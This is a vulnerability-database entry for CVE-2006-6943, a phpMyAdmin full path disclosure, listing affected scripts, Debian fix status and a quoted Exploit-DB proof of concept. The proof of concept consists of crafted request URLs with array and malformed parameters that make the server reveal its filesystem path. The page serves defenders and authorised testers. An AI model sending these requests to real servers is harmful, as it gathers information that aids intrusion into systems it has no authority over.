CVE-2006-6943

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

PhpMyAdmin before 2.9.1.1 allows remote attackers to obtain the full server path via direct requests to (a) scripts/check_lang.php and (b) themes/darkblue_orange/layout.inc.php; and via the (1) lang[], (2) target[], (3) db[], (4) goto[], (5) table[], and (6) tbl_group[] array arguments to (c) index.php, and the (7) back[] argument to (d) sql.php; and an invalid (8) sort_by parameter to (e) server_databases.php and (9) db parameter to (f) db_printview.php.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29062 webapps php verified text · 1 KB
laurent gaffie · 2006-09-15

phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/21137/info
    
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
    
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
    
All versions of phpMyAdmin are vulnerable.

http://www.example.com/scripts/check_lang.php 
http://www.example.com/themes/darkblue_orange/layout.inc.php 
http://www.example.com/index.php?lang[]= 
http://www.example.com/index.php?target[]= 
http://www.example.com/index.php?db[]= 
http://www.example.com/index.php?goto[]= 
http://www.example.com/left.php?server[]= 
http://www.example.com/index.php?table[]= 
http://www.example.com/server_databases.php?token=your_token&sort_by=" 
http://www.example.com/index.php?db=information_schema&token=your_token&tbl_group[]= http://www.example.com/db_printview.php?db=" 
http://www.example.com/sql.php?back[]=

OS impact

debian Debian Fixed 4 releases
VersionStatusFixed in
trixie Fixed 4:2.9.1.1-2
sid Fixed 4:2.9.1.1-2
bullseye Fixed 4:2.9.1.1-2
bookworm Fixed 4:2.9.1.1-2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.